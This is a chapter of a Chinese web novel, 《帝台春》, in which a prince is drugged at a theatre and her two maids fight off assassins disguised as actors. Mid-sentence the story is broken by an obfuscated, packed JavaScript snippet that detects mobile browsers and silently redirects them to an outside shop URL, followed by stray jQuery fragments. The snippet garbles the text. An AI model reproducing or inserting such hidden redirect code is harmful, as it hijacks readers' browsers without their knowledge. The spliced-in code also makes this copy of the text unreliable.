19. 芭蕉雨(十八)
作品:《帝台春》 秦五娘一听是专程来听戏的,于是便猜到了是赵悦,只得推了眼前的贵客,一番赔罪后,匆匆赶往前厅。
至前厅,见那翘着二郎腿,坐躺在胡椅上的人,果不其然就是晋王赵悦,秦氏连忙上前福身,“奴家秦氏,见过九大王,九大王万福金安。”
如此,众人才知道赵悦的身份,那日选花宴赵悦虽也有现身,但毕竟是在台上,难得看清容貌。
“秦娘子可让本王苦等。”赵悦靠在椅背上,一副不太满意的样子。
秦氏于是赔笑,再次福身道:“奴家这便给九大王赔个不是。”
就在秦氏喊出赵悦的爵位时,这楼内忽然多了几道不同的目光。
赵悦转动着的眼珠,而后放下腿,俯身看着秦氏,“那今日娘子可要好好作陪。”
秦氏笑道,而后上前拉着赵悦起身,“大王,请。”
跟在赵悦身后的两个侍女,沉鱼向落雁使了个眼色,提醒道:“小心一些。”
落雁向四周望了一圈,点头应道,“嗯。”
随后秦氏便将赵悦带到了一座戏楼内,这座戏楼不大,是专门给达官显贵单独唱戏的。
“今日客满,大王且稍待。”秦五娘将人带到后,便转身出去了。
再回来时,她亲自端来了一壶好酒,以及就算是在临安城内也难得一见的点心。
秦五娘拿出青瓷杯,斟了一杯,“这酒不错。”酒香扑鼻,一闻便知是好酒,赵悦于是称赞道。
就在她倒酒时,赵悦从她的袖口看到了胳膊上的伤。
于是在秦五娘递酒时,赵悦一把抓住了她的手腕,而后将衣袖撩开。
秦五娘被吓了一跳,连忙将手缩回,又将袖子合上,在赵悦身前跪了下来,“九大王。”
“是谁动的手?”赵悦看着秦五娘问道。
秦五娘摇头,眼里似有恐惧,赵悦便说道:“你是这风华园的头牌,照道理,他们应该把你供起来才是,怎舍得对你下手?”
秦五娘看着赵悦,欲言又止,“九大王还是不要追问了,知道得太多,对大王也没有什么好处。”
“是风华园背后的那些人吧。”赵悦却并不在乎这些,依旧猜测道。
“今年的选花宴奴家未能夺魁,害得风华园亏损不少,若不是九大王那天的一番话,他们恐怕打得更狠。”秦五娘低头回道,一副楚楚可怜的样子。
赵悦听后当即皱起了眉头,“实力不济便是实力不济,迁怒于无辜之人,还真是无能之举啊。”她出口讥讽道。
这还是秦五娘第一次听到有人敢这么羞辱她背后之人。
“我说过,我喜欢你的戏,今后也会常来,但我不喜欢有人动我的东西。”赵悦俯下身,接过秦五娘手中的酒杯,在她耳畔小声道。
秦五娘听后,眼眶红润,她叩首谢恩:“多谢九大王。”
赵悦挥了挥手,秦五娘于是起身,“大王今日想听什么戏?”
“你最擅长什么,便唱什么吧。”赵悦坐下说道。
“临安名曲《赵贞女蔡二郎》”秦五娘回道,随后便去了后台更换戏服。
赵悦刚要喝酒时,落雁却走了过来,福身在她耳畔嘀咕了一阵。
她将酒杯放下,对视着落雁,转动眼珠,“有意思。”而后笑着将桌上那杯酒一饮而尽。
“郎君...”落雁愣了神。
“我倒要看看,那背后,是人是鬼。”赵悦道。
没过多久,秦五娘便换了一身戏服,与她搭戏的蔡二郎,是一位小生,且是女小生。
“这个演蔡二郎的小生,还真是俊秀呢。”落雁于一旁目不转睛的说道。
“姐姐喜欢?”赵悦抬头看着落雁。
“那小生虽俊俏,却比不得郎君。”落雁笑眯眯的看着赵悦。
秦五娘饰,赵五娘:“蔡二郎,你负心薄情,抛弃糟糠之妻...”
蔡二郎:“哪里来的腌臜泼妇,给我,打出去!”
戏唱到第三折的高潮时,戏台上多出了几个武生。
而赵悦正在全神贯注的看戏,还一边跟着锣鼓的旋律摆动着手。
“拿命来!”一个武生持□□上前,然而下一刻她却跳到了台下。
好在沉鱼一直警惕着,她拔出腰间的软剑抵挡,只见刚刚落雁称赞的那名女小生也顺势抽出一把剑跳了下来,她们的目标是赵悦,场面瞬间变得混乱。
“赵狗,拿命来!”
女小生一剑刺进了桌板,落雁吓的将桌子丢下,拉起赵悦就往后跑,“长得这么好看,怎么下手这么狠。”
而此刻的赵悦,似乎是刚才那杯酒的缘故,腿软得都站不起来了,“我...有点晕。”
“我走不动了。”赵悦气喘吁吁的说道。
“刚刚那壶酒,普通人吃了,连路都跑不动的。”几个刺杀的人相互示意,“不要和那个女人纠缠太久。”
“我去拦住她。”其中一人手持上枪上前与沉鱼周旋,“你们下手。”
女小生与武生对视一眼,而后便追向赵悦,“拿命来!”
“郎君。”落雁拉着赵悦的手,将她一扯,再次躲开了小生的剑。
而此刻的戏台上,众人早已吓得逃离,秦五娘更是脸色惨白,“快去叫人。”她深知赵悦的身份,若是在这里出了事,整个风华园都会跟着遭殃。
沉鱼见赵悦有危险,便想快速解决赶过去,但那武生不依不饶,“别急着走,先过我这一关。”
赵悦直接瘫坐在了地上,似乎耗尽了全部力气,“我...”连说话都接不上气了。
“好机会,动手。”小生大呵一声,命令身侧的同伴下手。
身侧的同伴于是举刀再次朝赵悦砍去。
铛!——却被一支挽发的银钗挡下,“好久都不曾动手,真当我是摆设了?”
不知什么时候,似是那一瞬间,落雁就已经站在了赵悦的跟前,她伸着手,扭了扭脖子。
手中的银钗刚好卡住了横刀的刀身,使那刺客动弹不得,“怎么回事。”
“这...”这让那小生很是震惊,赵悦身侧的两名侍女,竟都会武。
那个驾车的女子,倒是极好发现,可这个一直随在赵悦身侧,举止轻浮的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477287|201567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女子,却是没有想到的。
而此时沉鱼也将那名武生打伤,赶了过来,几人于是缠斗在一起。
沉鱼主要负责打,而落雁则是贴身护卫赵悦的安全。
但对比沉鱼的手段,落雁似乎下手要更为狠,面对那被她夸赞的小生,也毫不手软。
挡开一剑后,银钗迅速刺向小生那双好看的眼睛,只见她躲闪不及,被划破了脸颊。
“哎呀,一不小心就将娘子的漂亮脸蛋划伤了呢。”
小生听后,似乎被激怒,于是奋力反击,落雁连连后退。
“别闹了。”一旁僵持不下的沉鱼冷呵一声。
落雁便不再后撤,而是故意露出破绽,让其近身,出手肘用力一击,而后将其一脚踹飞。
碰!一旁的桌案都被飞来的身体砸碎。
交手下来,三个刺客不但没能得手,反而都受了不轻的伤。
“这两个人的身手,我们低估了。”同伴连忙后退,扶起小生,“再这样下去,园里的人也要来了。”
“走!”那小生吐了一口鲜血。
“你们下药,伤了我的主人,就想一走了之?”
不知什么时候,落雁已经坐在了三人跟前的一张桌子上。
“你们先走。”小生将两个同伴推开,而后持剑上前,“走!”
“你倒是挺仗义的。”落雁意外的看着那小生,“就不怕死?”
“为什么要护着这样的恶人。”小生拿着剑抵向落雁,凑近了说道。
落雁挡着小生的剑,从她的眼里看到了愤怒,“恶人?”她看向一旁的赵悦,“确实是个大恶人呢。”她低头笑着,笑着笑着,“因为做好人,”眼神便逐渐阴冷下来,“会死啊。”
说罢她用力一掌将小生击飞,但也恰好落在了两个同伴跟前。
同伴于是拖着重伤的小生逃离了戏楼。
“快,在这里。”等风华园的一众人赶到时,戏楼里的打斗已经静止。
秦五娘看见倒在地上的赵悦,差点吓得晕了过去,“九大王。”
“九郎君是官家之子,何其尊贵,却在你们风华园受了伤。”落雁看向风华园明面上的负责人,“这件事,风华园不给一个交代吗?”
两个妈妈吓得直哆嗦,风华园内本就鱼龙混杂,“大王饶命,这些人是怎么混进来的,这...”
“刚刚那些人?”沉鱼收起剑,看向秦五娘。
秦五娘跪在地上,“是临时找的人,大王要看戏,但今日戏班的人手不够,客满之时,风华园会外招一些人手进来。”
“纵是给奴家一万个胆子,也断不敢做出此等大逆不道之事。”秦五娘满眼急切。
“此事,跟她没有关系。”被落雁扶起的赵悦开口道。
“可那酒是她拿来的。”沉鱼又道。
“既然人都可以换,那么酒自然也能换了。”落雁道。
“这件事就先到这里吧,你们风华园自己解决。”赵悦又道,“本王在晋王府等着风华园的答复。”
“我们走!”说罢赵悦便命沉鱼落雁将她带离了风华园。

